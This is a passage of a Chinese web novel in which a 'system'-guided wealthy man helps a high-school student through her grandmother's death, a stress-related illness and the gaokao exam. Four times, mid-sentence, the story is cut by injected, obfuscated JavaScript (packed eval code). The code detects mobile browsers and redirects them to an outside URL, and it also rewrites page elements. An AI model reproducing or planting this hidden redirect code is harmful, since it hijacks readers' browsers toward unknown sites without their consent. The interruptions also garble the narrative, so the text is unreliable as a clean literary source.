傅延青看他神色不对,出声问道:“病情怎么样?” 周医生手一抖,语气迟疑道:“你要救她吗?” 多年相处,即便他话没说完,傅延青也知道他潜台词是什么意思。 傅延青心一沉:“落不到你头上,你只管说病情,说实话。” 周医生如释重负,但看着傅延青凝重的脸色,仍不敢太放松,小心翼翼回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705049|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“胃癌晚期,就这几天了。” * 走出大楼时,傅延青仍有一种不真实的感觉。 他坐进车里,像定住了一般,半小时都一动未动。 系统看不下去,幽幽出声:“宿主,你的心乱了。” 男人依旧沉默。 “宿主在想江知意她妈妈会不会告诉江知意奶奶的事?”傅延青不说话,系统便自问自答,“想这个做什么,又不关你的事。” “如果她妈妈不告诉她呢?”傅延青冷不丁出声。 “不告诉就不告诉啊,那不也是为了她高考着想?”系统奇怪,“你不会要多事吧?” 系统语气变得严肃:“别,千万别,你答应了江知意不打扰她,现在去找她肯定会影响她对你的好感度;再者,不管是她知道奶奶的病情考试受到影响,还是她来不及见奶奶最后一面,都跟你没有任何关系,宿主,你想清楚。” 它说得头头是道,条理清晰,冷静理性,它以为傅延青会被它说服,可傅延青反问:“谁说她知道奶奶的病情就会影响考试了?” 系统:“?” “你太小看第一的含金量了。” 系统:“???” 眼看车子已经发动,引擎声在耳边作响,系统大惊:“你真要去找她?你相信她不会被影响?” “我相信。”傅延青毫不犹豫。 SF812一个漂亮的转弯,向来时的方向驶去。 有些事情,一辈子只有一次机会。 错过就是错过,永远都没有弥补的机会。 系统说他的心乱了。 是,他承认。 这是他第一次,纯粹地希望江知意不要错过什么。 不要错过对她很重要的东西。 彼此初秋,他对江知意一无所知,对她说要是有题不会,他可以教她。 而江知意看着他,眨了下眼,回答说——“我是第一,不用教。” 那是他第一次在她身上看到自信的模样。 除了自信,还有不屈居于他人之下的傲气。 奶奶对江知意有多重要,他都看在眼里。 他不想让江知意有任何可能错过重要的人,同时,他也相信江知意不会被影响。 有这样耀眼自信和傲气的人,不会放任自己沉溺于悲痛中,不会放任自己颓废。 她现在是年级第一,高考也会是。 22. Round 1 苏语琴提的水壶是接了热水给奶奶擦身上用的。 江知意留下来帮了会儿忙,十点才从住院部出来。 过程中她和苏语琴一句话都没说,直到最后要走时苏语琴才说,她要在医院陪夜,晚上不回去了,鞋盒在卧室。 江知意听完没说话,面无表情走进电梯。 从大楼出来,傍晚还很热闹的医院安静了不少。 天上繁星闪烁,晚风沁凉。 糟到极点的心情终于被抚平几分。 虽然和苏语琴吵了一架,但总算没错过什么。 而这一切都得感谢…… 她想到傅延青,结果就仿佛命运之神降临一般,他出现在她眼前。 这么……巧。 男人坐在花坛边的长椅上,看到她过来,站起来问:“怎么样,见到你奶奶了吧。” 很意外的,他今天没有穿西装外套,只剩里面的衬衫和领带,相比平时的体面和贵气,此刻的他看起来异常疲惫,一身风尘仆仆,像是赶着来见她一样。 虽是疲惫,抬眼却很温柔。 背景是广袤的星空,他的眉眼映在夜色里,连声音都是疲惫又温柔的。 想到白天在办公室对傅延青说的话,江知意心里一哽。 她那时候对他……是不是太不客气了。 明明他是来帮她的,可她总是以最大的恶意来揣测他。 她上前几步,歉疚道:“白天的事,谢谢你。” 傅延青微微惊讶,接着一笑:“不客气。” “那你来这儿是……”江知意接着问。 “大晚上的,担心你像上次一样被人盯上,来看看你需不需要我送你回家。”他低眸看她,“没想打扰你的,只是在这儿等等看,如果你和你妈妈一起下来,我就不上前了。” “……”听他反反复复强调“没想打扰她”,江知意心里有点不是滋味儿,她摇头,“不算打扰,之前是我说话太重了。无论如何,谢谢你来告诉我奶奶的事。” 傅延青弯唇:“听到了,不用谢那么多遍。” 他问:“那你要不要我送你回家?” 江知意看着他的眼睛,笑了:“谢谢。” 这便是同意了。 傅延青也笑了:“走吧。” 两人并肩而行,路上江知意问起她好奇很久的问题:“你怎么知道我奶奶病了?还有,你怎么会出现在副校长办公室,还让副校长对你那么客气?” 傅延青:“去养老院没见你奶奶,问工作人员问的。至于第二个问题——”他不答反问,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737372|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们学校最近有没有新建或者翻修?” “你怎么知道学校最近……”下意识接完,江知意反应过来,“和你有关?” “嗯。”他轻描淡写道,“我的钱。” 江知意:“……” 她现在知道副校长为什么对他那么客气了。 仔细回想,其实去年秋天她就在副校长办公室门口见过他了,所以那时,他是去谈钱的? 一直以来他去学校的理由,莫非都是这个? “你捐的?” “我捐的。” ……好吧。 有钱人对于自己的钱,还真是随便啊。 就这样来到SF812车旁,江知意熟练地上车系好安全带,打开车窗。 傅延青的目光在车窗上一顿,又若无其事地收回。 市二院离家不远,开车十来分钟就到了。 傅延青将车停在小区门口,江知意说完再见下了车。 月色下,背着书包的身影越走越远,傅延青垂眼,正要掉头,脚步声却在空旷的夜里响起。 江知意小跑回来,径直来到他这一侧,对着摇下车窗的他说:“傅延青,我们把微信加回来吧。” 她气喘吁吁:“抱歉之前删了你,你还愿意加回来吗?” 23. Round 1 周医生倚在办公桌旁,看着傅延青问:“怎么这个点过来?” 他目光渐渐移至傅延青背上的江知意,问道:“她是?” “她不舒服,你看看怎么回事。”傅延青将江知意放下,扶她坐在椅子上。 “是吗,我看看。”周医生跟着坐下,敛了笑意,神色认真问她,“哪里不舒服?” 他问得很细,从症状感受到平时习惯,最后做完几个小检查,周医生得出结论:“是肠粘膜的问题。” “肠粘膜?” 江知意正要问,却不料傅延青比她更快一步。 “肠粘膜太薄,容易受刺激,一刺激就肚子疼。”周医生解释,“除了客观的外部条件,精神心理也会造成一定程度的影响。” 他落笔开始写药方,边写边问:“最近心情怎么样,有没有焦虑或压力过大?” 江知意:“……” 她没说话,脸色却白了几分。 周医生看她一眼,微笑着安抚:“没事,能治好,别担心。” 他将写好的单子递给她:“给你开了几种加固肠粘膜的药,先吃一个月,三种一起吃,记住了吗?” 江知意迟疑着接过病历单。 傅延青也低头扫了一眼,说:“那我先带她去病房,你抓好药后过来。” 周医生点头:“放心。” * 时隔八个月,再一次来到傅延青的私人病房。 他扶她在床上坐下,说:“难受就躺一会儿。” 江知意只是摇头。 她捂着肚子曲起腿,整个人蜷缩成一团,轻轻颤抖着。 即使这样,她都没有喊过一声疼。 为什么不喊疼呢? 傅延青想问。 他站在床边静静看她,第一次有种无能为力的感觉。 她这么难受,他却什么都帮不了她。 只能眼睁睁看着。 “江知意。”他说,“等下医生把药过来,你先吃一顿休息一会儿,晚点我再送你回家。” 江知意没回答。 少女将头埋在身体和腿的空隙间,防备十足,看不出她在想什么。 男人沉默,在她对面的沙发上坐下,一起等周医生。 时间一分一秒地过去,半晌后门被敲响,周医生说:“傅总,药取来了。” “进来。” 周医生推门而入。 他急匆匆地走过来,手里拿的除了药,还有喝药用的碗勺和热水。 “快,先给她吃一顿吧,这儿有止疼药,吃了就不疼了。”周医生将东西放在桌上,看向傅延青,“傅总?” 傅延青站起来:“嗯,放这儿吧,你不用管了,去忙吧。” “好好。”周医生走了两步又回过头提醒,“记得赶紧吃啊。” 病房恢复安静后,傅延青走到桌前,用热水冲好药剂,然后端到她旁边:“吃药吧,我泡好了。” 江知意却没反应。 傅延青拍了拍她胳膊:“江知意?” “傅延青……”她低声喊他的名字,慢慢从臂弯里抬起头,“我能问你一个问题吗?” 四目相对的一刻,他才发现她眼角多了道浅浅的泪痕。 她疼哭了。 可她竟然连哭都是悄无声息的。 什么样的人会连哭都不发出声音呢? “为什么坚持带我来看医生,坚持让我吃药?”江知意看着他问。 “……” 她是个戒心极重的人,会如此问,大抵也是怕他下毒害她。 傅延青低头看向碗里的药,忽地问道:“还是不相信我?怕我在碗里下毒?那我陪你一起喝。” 说罢他转身要去拿另一只碗,袖子却被人轻轻拽住。 少女力气很轻,轻到他随便走两步就能挣开,可当她拽住他的那一刻,他便再也迈不出一步。 傅延青坐回来,问她:“怎么了?” “不是那个意思。”她收回轻轻颤抖的手,眼睛因为哭过,还带有一层朦胧的水光,“只是不明白你为什么做这种无利可图的事。” 原来他在做无利可图的事吗? 傅延青默了默,反问:“那你呢,为什么疼成这样都不去医院,谁教你这么忍着的?” “我回答你,你就回答我吗?”江知意问。 这种时候她竟然还有力气讨价还价,男人无奈:“可以。” 他将碗递到她嘴边:“不过既然你不担心我下毒,就先把药喝了吧,喝了就不疼了。” 微凉的碗口碰到她的唇,热腾腾的气冒上来,江知意愣了一下,盯着他看了两秒,才像下定决心一般,接过药喝下。 热水冲泡的药进了肚子,腹部立时有暖流流过的感觉。 她擦掉嘴角的药渍,没有看他,低头慢慢道:“因为我从小就是这样。” 只要不是严重的大病,像感冒发烧肚子疼这种小病,苏语琴从来都不会带她去医院,她只会在家里找药凑合着给她吃,末了还要说她,为什么这么娇气,为什么这么不注意。 只要她生病不舒服,苏语琴就必定会说是她自己不小心不注意,譬如睡觉不好好盖被子,譬如冬天不多穿衣服,譬如吃生冷油腻的东西。 哪怕以上种种她都没有做,苏语琴也会找理由说她,总之都是她的错。 “这种小病嚷嚷着去医院,我妈妈只会觉得我娇气,矫情。” “娇气?矫情?”傅延青重重重复这几个字眼,“所以去年你发烧,她才不去接你?” 江知意没有回应,傅延青的胸膛开始轻微起伏。 他深吸一口气,忍住自己的情绪,对江知意说道:“不是的,她说错了,这不是娇气和矫情。” 少女惊讶抬头看他。 “不舒服了就去找病因,人之常情,有什么错?不看医生怎么知道是简单的小病还是别的?刚才周医生的话你不也听到了,肠粘膜的问题是小病吗?” 江知意嘴唇翕动几下,竟不知该说什么。 她很少看到傅延青这样凝重严肃的模样。 以往他面对她总是温和带着淡淡微笑的样子,可彼时她知道,那层温和只是表象,她从未触及真实的他。 可今时今日,他的温和和微笑都消失了,谈不上温柔,甚至有点凶,她反而感受到了他的一点真心。 他好像在生气,漆黑的眸中压抑着怒气,脸色比上次在办公室面对郝总监时还要难看,但莫名的,她竟然不怕这样的他。 “江知意。”傅延青继续,“你还想好好高考吗?想就回去好好吃药,一日三顿,不许落下。” “如果你信不过我的药,那就拿着刚才的病历单去找你信得过的医生,让他看有没有问题,让他帮你开药。” 顿了顿,他补充:“但我要说明一点,他们的药都不如我的,我的才是最好的。” 江知意怔怔看他,猝不及防间,眼泪从眼眶滚落。 她匆忙低头捂住眼睛,声音难得带上一丝哽咽和哭腔:“你别看我,我不想在人前哭。” 大抵是他的话让她的委屈有了发泄口,她的眼泪止不住地落下,只觉得从来没有这么想哭过。 这么多年的委屈,这么多年得到的忽视与敷衍。 骄傲如江知意,从不允许自己在人前暴露脆弱与软弱之处,可此刻她哭成这样,忍都忍不住,究竟是受了多少委屈呢? 傅延青心里发涩,却什么也做不了,只能如她所说,转过身去,背对着她。 她的哽咽渐渐变成低声啜泣,像是要将许多年的委屈一齐发泄出来。 哭到最后,她的哭腔止住,轻轻道:“傅延青。” “嗯。”他应。 “刚才医生问我,最近有没有焦虑或压力过大,我没回答,其实我……” “和你奶奶有关。”傅延青平静接上。 短暂的安静后,江知意承认:“嗯。” 那天她亲眼看着奶奶倒下,疯了一般去叫医生,让他们救救奶奶,可一番操作后,他们只能无奈说:抱歉,我们尽力了。 她其实没有那么坚强的。 她也会伤心,也会难过,也会想在奶奶身边好好哭一场,可高考在即,她只能强撑着告诉自己,她要坚强,她要努力,她要完成奶奶的心愿。 她甚至以为自己真的做到了。 直到身体告诉她,她其实压力如山,她其实很难过。 所以在考场上,面对精神心理的压力和刺激,她的肚子才会骤痛不止。 江知意捂住眼睛:“我再也没机会和奶奶说话了。” 寥寥几个字就让傅延青接不上话。 所有的语言在生死面前都变得苍白无力。 “没事。”良久后他开口,“她那么爱你,你开心快乐才是最重要的,别给自己太大压力了。” 又是一阵沉默。 最后她穿鞋下床,轻轻对他道:“谢谢。” 不止今天,还有帮她照顾奶奶,告知她奶奶病情,一桩桩一件件,都谢谢他。 傅延青弯唇:“不客气。” “药很管用,我好多了,送我回家吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769808|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,行吗?” “好。”傅延青站起来,指着桌上的药道,“开的药要带走吗?” 他惯例一问,做好了江知意拒绝的准备,可她看着他,点头:“好。” 他眉心一动,微微怔住。 “这次我相信你。”她说。 要从江知意的口中听到“相信”二字,是多难的一件事? 他花了九个月,才终于换来她的一次相信。 傅延青慢慢回神,而后笑了。 他似乎悟到一点要怎样对江知意了。 * 上车后,傅延青主动替她打开了车窗。 江知意看向窗外,低声说了句“谢谢。” 车缓缓倒出停车位,傅延青说:“不用每次都说谢谢的。” “这是礼貌。”她固执道,“而且除了谢谢,我还会还你其他谢礼的。” 傅延青叹笑:“你有没有听说过一句话?关系的递进,在于亏欠。” “亏欠?”她不解。 “你永远客气,永远礼貌,永远想着还我东西,我们就永远只是陌生人。有时候糊涂一点,你来我往,关系反而能长久。你对我是这样,对你朋友也是这样吗?” 车开上正道,耳边有风掠过。 “所以,你想表达什么?”江知意问。 “你对我可以不用那么客气的。”傅延青回答,“不用事事都说谢谢,事事都想着跟我两清,我们……” “我们什么?” “我们能不能,”他一顿,“不要只当陌生人了。” “……”江知意一愣,突然想起他说过的那句“我喜欢你”。 不当陌生人,难道是当……? “那你想当什么?”半晌,她硬邦邦地问。 “看你,选择权在你手上,你决定就好,我没有异议。” “……”这就是以退为进吗? 不过既然说到这儿,她便认真地想了想和傅延青的关系。 其实他也没有可怕。 他们认识快一年,他从未对她做过一件出格的事,或许,她该给他个机会呢? 这么想着,江知意轻轻开口:“那我们,就做朋友试试吧。”。 话音落下的瞬间,她偷偷用余光瞥他,看到他唇角微扬,露出了一个温柔的笑。 傅延青应道:“好。” 半小时后,车停在小区门口。 江知意道了别,背上书包准备下车,身后的男人忽然叫她。 她转头:“怎么了?” “下次再有不舒服,就告诉我,别忍着。”他说完觉得不够,又补充道,“好好爱惜自己,高考加油。” 江知意很少从别人口中听到“爱惜自己”这样的字眼,以至于微微怔住,半晌不知道该用什么话回应。 她低头想了想道:“你最近忙吗?” “还好,抽得出时间。” “高考完第二天,6月9号,你能来找我吗?” “怎么?” “请你吃饭,行吗?顺便问你问题。” “什么问题?” “到时候你就知道了。”她缓缓眨了下眼睛,又问一遍,“来吗?” 傅延青笑了:“来。” * 目送江知意离开后,系统啧啧感慨:“可以啊宿主,有进步。” 都能让江知意跟他做朋友还请他吃饭了。 “其实你这样的思路才是对的吧,获取好感度不一定非要她喜欢你,认可也行啊。”系统吐槽,“之前你朋友给你出的馊主意,看把她吓成什么样了,如果不是那次被删,你也不至于赌上两年。” “……” 傅延青调转车头,向公司的方向开去。 系统还在喋喋不休:“你看她今天对你的态度多好啊,只要你继续保持,慢慢让她认可你,明年一定可以完成任务的。本来嘛,好感度就不只局限于喜欢,老师同学朋友亲人,她对大家都会有不同程度的好感的……” 是吗?傅延青没回答,只在心里反问。 不过在此之前,他有另一条路想试试。 书里的描述写,傅呈远是男主,他拥有的一切最后都会拱手让于傅呈远,让傅呈远成为人生赢家,但这一切的前提是,他受作者的操控,他没有自己的意识。 如果,他有了呢? 如果他不让呢? 他能不能改变书里的结局,能不能靠自己摆脱束缚? 系统只说攻略江知意可以摆脱束缚,但没说别的不行。 既然如此,那就试试。 24. Round 1 高考当天,江知意摸了摸肚子,感觉一切良好。 不用去问医生,她也能感受到肠粘膜比以前强壮了。 从前她时不时就肚子疼,因为反应轻微,便没放在心上。 如今吃了大半个月的药,她不得不承认,傅延青的药挺管用。 她再也没有不舒服过。 江知意信心满满地上了考场。 从容不迫地写完四张卷子后,高考结束了。 铃声响起的那一刻,江知意轻轻舒了口气。 结束了。 还好,没出意外。 一切都顺利地结束了。 随着人流走出校门,同学已经三三两两聚在门口了。 王瑜看见她赶紧招手:“江知意,这儿!” 江知意走过去。 很奇妙,和以往任何一次考试都不同,这次没人对答案,没人讨论刚才的考试题,所有人都在聊一会儿吃什么,暑假去哪儿玩。 偶尔有人提起,也被迅速制止:“够了啊!想对答案明天早上自己买报纸去,考都考完了,别影响大家心情!” 江知意听了一会儿,忍不住笑。 这才有点毕业快乐的样子。 一帮人最终决定热热闹闹地去吃火锅,吃完火锅再去唱K。 唱K的时候,班上其他女生坐过来问她和王瑜:“你们暑假有什么打算?” “学化妆呀!”王瑜一脸兴奋,“还有买高跟鞋,我俩约好很久了。” “真的?”女生们围上来,“我们也是,你们打算买什么牌子呀,有推荐吗?” “有啊有啊。”王瑜取出手机给她们看,顺便聊起来。 江知意不懂化妆,插不上话,正好苏语琴打来电话,她便打了个招呼向包间外走去。 “妈妈。” “考完了吗?怎么还不回家?”苏语琴问。 “我在外面,和同学一起。”江知意捂住另一只耳朵,好让自己听得清楚些,“怎么了?” “你不是一直问你奶奶的事吗?回来我跟你说吧。” 苏语琴一句话就让她收了玩心。 江知意回到包间对王瑜说:“我还有事,先走了。” “啊?”王瑜抬头愣了一下,但见她神色焦急,便呆呆点头,“好吧,拜拜。” 江知意离开没多久,几个女生也和她结束话题,跑到另一边去点歌。 一旁的王鑫终于逮到没人的机会,凑上来问她:“王瑜,江知意呢,怎么好久没见她。” “她回家了啊。”王瑜眨眨眼睛,忽然道,“怎么,打算表白?” 王鑫立刻睁大眼睛:“你……!” “我什么,那么明显,以为谁看不出来啊?” 王鑫泄了气:“那你告诉她了吗?” “没有。”王瑜斩钉截铁,“放心,我从不替别人说多余的话。” “那就好那就好。”王鑫拍着胸脯松一口气。 王瑜好奇:“喜欢就去表白啊,都高考完了还犹豫什么?” “我……”王鑫摇头,“算了,我再想想。” 因为她太优秀,他在犹豫他能不能和她上同一个大学。 * 回到家,一眼就看到苏语琴撑着头坐在沙发边,一脸憔悴。 江知意换鞋走过去:“妈妈。” “坐吧。”苏语琴平静道,“考得怎么样?” “挺好的,发挥正常。” 苏语琴淡淡一笑:“那就好,总算让你奶奶放心了。” “妈妈。”江知意心里忐忑,“你不是说,要跟我说奶奶的事吗?” “……”苏语琴叹了口气,答非所问道,“我好累。” “是不是因为奶奶的后事?我可以帮……” “不是,是因为你。”苏语琴放下手,抬眼看她,“知意,你去找你爸吧。当初离婚我们说好了,我只管你到高考,现在考完了,你去找你爸吧。” 江知意露出惊愕的表情。 好一会儿她才找回自己的声音:“什么?” “我很累,最近也缺钱,你去找你爸能让我省心些。”苏语琴转过来,面向她,“你奶奶的住院费,医药费,丧葬费,全都是钱,我实在没精力再管你。” “……”江知意说,“差很多吗,我这里还有一点,可以都给你。” “你那点只能算杯水车薪,再说,要你的钱,我成什么人了?”苏语琴说完话锋一转,反问道,“还是说你不想去你爸那儿?” “……” 这还用问吗? 她在这儿住了这么多年,乍然搬到江淮平那边,怎么可能习惯? 况且她和江淮平一年只见几次,本质上他们都算不上熟。 “江知意。”她不说话,苏语琴继续,“我养了你十八年快十九年了,义务早就够了,你知不知道如果没有你,我可以过得更好更轻松?你就不能体谅我一点,让我别操心吗?” 她的话尖锐又露骨,刺得江知意心里一痛。 苏语琴竟然说如果没有她,她会过得更好更轻松。 她不想要她了吗? 江知意嘴唇颤了颤:“我不用你操心的,我在这里影响不到你。” 苏语琴闭了闭眼。 再睁开眼时,她说:“算了,跟你说实话吧,我的钱不够,最近打算把这个房子租出去。这也是为了你奶奶,明白吗?” …… 明白了。 她低下头:“把房子租出去,奶奶的丧葬费是不是就够了?” “差不多。”苏语琴声音疲惫,“我打算带她回老家,埋在老家的树下。这几天你收拾一下东西,什么时候搬走跟我说一声。” “我不能一起回老家吗?” “你跟我一起回去,哪还有时间收拾东西?之后我还要带人来看房,时间很紧,奶奶就在老家,你想什么时候去都可以,非得急这一时吗?” 人生很多事就是来得如此突然。 无论是搬家,还是奶奶的去世。 江知意闭眼笑了笑,自嘲道:“好。” “我明天就搬。” * 那天晚上她给江淮平打了个电话,对面很久才接起。 “喂?知意吗,怎么了?” “爸爸。”江知意叫了一声,手因为紧张,不自觉握紧手机,“我可以去你那儿住一段时间吗?不会很久,住到开学就……” “住我这儿?”江淮平惊讶,接着棘手道,“你现在长大了,住我这儿不太方便吧?你妈呢?” “她说要把房子租出去,而且……”江知意顿了一下,接着说,“她说你们说好了,她只管我到高考。” 言下之意,按照他俩的约定,苏语琴不会再管她了,如果江淮平也不管她,她就没地方去了。 “这……”江淮平为难,接着听筒里传来隐隐约约女人的声音。 女人语气亲昵熟稔,问江淮平:“淮平,谁啊?” 江淮平便将手机拿远一些,压低声音回她:“知意,我女儿。” 后面他们再说什么,江知意便听不清了。 只能听到两人一来一回,偶尔女人的声音会变得激动。 她握着手机发呆,心里有种麻木的悲伤。 好像自己是一只孤魂野鬼。 不知过了多久,江淮平的声音重新在耳边响起:“喂,知意,我和你阿姨商量好了,你先来吧,地址我等下发你。” ……阿姨。 江知意懂了,但她没多说,应了声好便挂断电话。 决定好去处,江知意开始收拾行李。 书不带,衣服只带一些还会穿的,剩下零零碎碎的她都看着带了点。 整理到最后,她看向抽屉里的香水。 两瓶TeenSpirit,一瓶是傅延青送的,一瓶是她自己买的。 她上前拿起,怔怔看了会儿,才想起明天和傅延青见面的事。 见面和搬家,想来想去还是搬家麻烦点,她不想让傅延青等,拿出手机给傅延青发消息。 xyz:【明天早上你有空吗?10点多11点多,我可以请你吃午饭。】 傅延青片刻后回复。 F:【好。】 * 江知意第二天醒来,苏语琴已经出门了。 她摸出手机,看到王瑜发消息问她:【滴滴滴滴滴滴,你什么时候有空一起学化妆?我家或者你家,再或者外面约个地方,我都可以,看你。】 xyz:【明天吧,今天我要收拾东西。】 回完消息,她开始洗漱换衣服。 收拾好准备出门时,她突然想起忘了和傅延青约地方。 不过这个问题并没有困扰她多久,因为走出小区时,她就看到了停在路边的SF812。 黑色豪车低调贵气,江知意走上前敲了敲车窗。 门锁咔哒一声响,她拉开车门坐进去,空调的冷气扑面而来。 初夏的时节,男人还是标志的衬衫加西装外套,见她上车,他熟练地打开车窗。 热气从窗外涌入,冲淡了车内的冷意。 江知意有点过意不去,开始思考要不要关上车窗,就听傅延青在耳边问:“还是我挑地方?” “啊?”一瞬后她反应过来是请吃饭的事,问,“你想吃什么?” “烤鸭。”他没有犹豫,“不贵,绝对在你的接受范围内。” 傅延青都这么说了,那应该是真的不贵。 于是她点头:“好。” 车开了,一路飞驰。 江知意坐在副驾,车内是冷气,窗外是热浪,她夹在其中,有一种冰火两重天的感觉,身体一半冷一半热。 但她穿的是短袖,所以还好,可傅延青就…… 她用余光看了他几次,看到他额际渐渐渗出一层薄汗。 不用问也知道,热的。 “一直看我又不说话,有事?”傅延青忽地开口。 江知意犹豫了下,问:“车窗怎么关?” “?”傅延青蹙了下眉,“你不怕我了?” “不要紧。”她轻轻道。 “……”他弯唇,“侧边的按钮,按一下就好。” 关好车窗后,热浪与噪音被隔绝,车内显得异常安静。 短暂的静默后,傅延青先开口:“不是说有问题问我,什么问题?” “也不算什么大问题。”江知意说,“就是最近有朋友过生日,想问问你有没有推荐的礼物。你上次送我的香水很好,平价又有质感,所以……” 有质感,傅延青忍不住笑。 RJ的顶级香水要是没有质感,他们就该倒闭了。 “送给谁?”傅延青问。 “同桌,她对我挺好的,我生日时给我折了很多幸运星。” “手工礼物?”傅延青笑,“那你也回她手工的就好了。” “我不知道回什么,一模一样的感觉不太好。” “那你喜欢什么,插花,手工陶器?” 提到“插花”,江知意眼睛亮了一下。 王瑜是个喜欢打扮的女孩子,从她喜欢化妆做发型就可见一斑,既然如此,送花应该是个不错的主意。 “你要是有感兴趣的,吃完饭我可以带你去。”傅延青说。 “那,插花?” “可以。”男人点头,“等会儿我跟他们说一声。” * 吃饭的地点和上次一样,雅致精巧。 服务人员领他们到包间,傅延青打开菜单随手指了几样,便合上还给他们。 没多久,穿着白色厨师装的工作人员进来,推着一个移动式的小餐板,开始在一旁为他们切鸭肉。 与此同时,另有服务人员为他们端上了配菜。 上好菜后,服务人员来到江知意旁边,开始讲解菜品的用料和吃法。 其中一道甜品让江知意记忆尤为深刻。 甜品的外观是樱桃状,一颗一颗在盘子里摆放整齐,工作人员说,樱桃本体由鹅肝酱制成,上面的樱桃杆则是由巧克力制成,口感醇厚,是他们的招牌,很多客人都会点。 江知意好奇,夹起“樱桃”尝了一口。 鹅肝和巧克力的味道在口中化开,微甜,带着淡淡奶香,很好吃。 见她露出惊喜神情,服务人员笑了一下,微微弯腰:“那您慢用。” 正好这时鸭肉也切好了。 所有菜品摆放完毕后,他们一起退了出去。 烤鸭不算什么稀奇的菜,可真正做得好的也没几家。 正巧,眼前这家就属于做得好的。 傅延青取了一张薄饼卷好鸭肉,自己没吃,先递给了她:“尝尝。” “谢……”江知意下意识道谢,见傅延青挑眉,又连忙收住,点头道,“好。” 她忘了,上次他们才说好不要那么客气的。 薄饼卷着鸭肉下肚,不得不说,这家的鸭肉也是一等一的好。 皮脆肉嫩,夹杂着酱香和黄瓜的清爽,层次分明,堪称绝妙。 傅延青好像不饿,自己不吃只看着她吃,眸中含着轻轻的笑意,问她:“好吃吗?” “好吃。”江知意吃完问他,“你怎么不吃?” 傅延青一笑:“这就吃。” 一顿饭吃完,领班进来微笑着对账单:“傅先生,您这餐的消费一共是……” “两百几?”傅延青直接打断。 领班:“?” 什么两百几? 他愣了一秒,有些摸不着头脑,但能干到这一级,多少懂点察言观色,于是他将账单第四位抹掉,试探着说:“两百三十九。” “嗯。”男人漫不经心地应了声,接着朝江知意的方向抬了抬下巴,“账单给她,她付。” 领班:“???” 付什么?傅总的消费不是一向都记在账上自动扣吗?怎么还要收款? 另一边,江知意已拿出手机等着付钱。 领班:“……” 到底也是见过大场面的人,他轻吸一口气,拿出手机上前:“您好,收您二百三十九元。” * 吃完饭傅延青又带她去了一家花店。 店老板跟傅延青很熟,见他进来便笑着问:“又看上什么花了?” “不是我。”傅延青摇头,“是她,她想配一束花送朋友。” “哦?”店老板站起来,“手捧还是瓶装?想要什么色系?” “手捧,紫色。” “紫色啊。”老板摸了摸下巴,手一指,“那边吧,那边的花随你们挑,配好拿过来就行。” 这家店的花品种丰富,江知意走过去,一时之间眼花缭乱,无从下手。 “会配吗?”傅延青跟着走过来,俯身闻了闻花,问道。 江知意摇头。 “我教你。”傅延青微笑,“想配紫色系,可以先确定主花,之后再选其他花来衬托,衬托的花最好不要选颜色鲜艳特点鲜明的,否则容易喧宾夺主。” 他说着抽出几支桔梗,接着又抽出些白色不知名小花,低饱和的淡紫色配白色,典雅高洁的感觉便油然而生。 “难得傅先生肯教人。”店老板不知什么时候凑过来,欣赏着傅延青配的花,连连感慨,“傅先生品味就是好。” 江知意看着花篮里的花,点了点头。 他确实品味好。 有了傅延青引导,江知意很快自己配好一束花,抱着花篮去见店老板。 老板倚在桌子后,笑眯眯道:“妹妹悟性很高。” 没有人是不喜欢听夸奖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781927|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,江知意不好意思地笑了笑,问道:“这些花一共多少钱?” 店老板看向傅延青,傅延青在江知意身后轻轻摇头。 “不要钱。”老板会意道,“傅先生是店里的熟客,这些花也不贵,送你们了。” 江知意惊讶:“这怎么行?” “怎么不行?”傅延青说,“这些花还没他一小时赚的零头多,你要是过意不去,下次来帮他看店。” 江知意:“……” 她只好收下花跟傅延青离开。 上车后傅延青问她:“还开车窗吗?” 江知意摇头:“不用了。” 以后都不用了。 傅延青笑了:“这么相信我?不怕我害你了?” 江知意继续摇头:“害我没必要这么大费周章。” 而且,她看得出傅延青的眼神变化。 一个人是否真心,是可以从眼睛里看出来的。 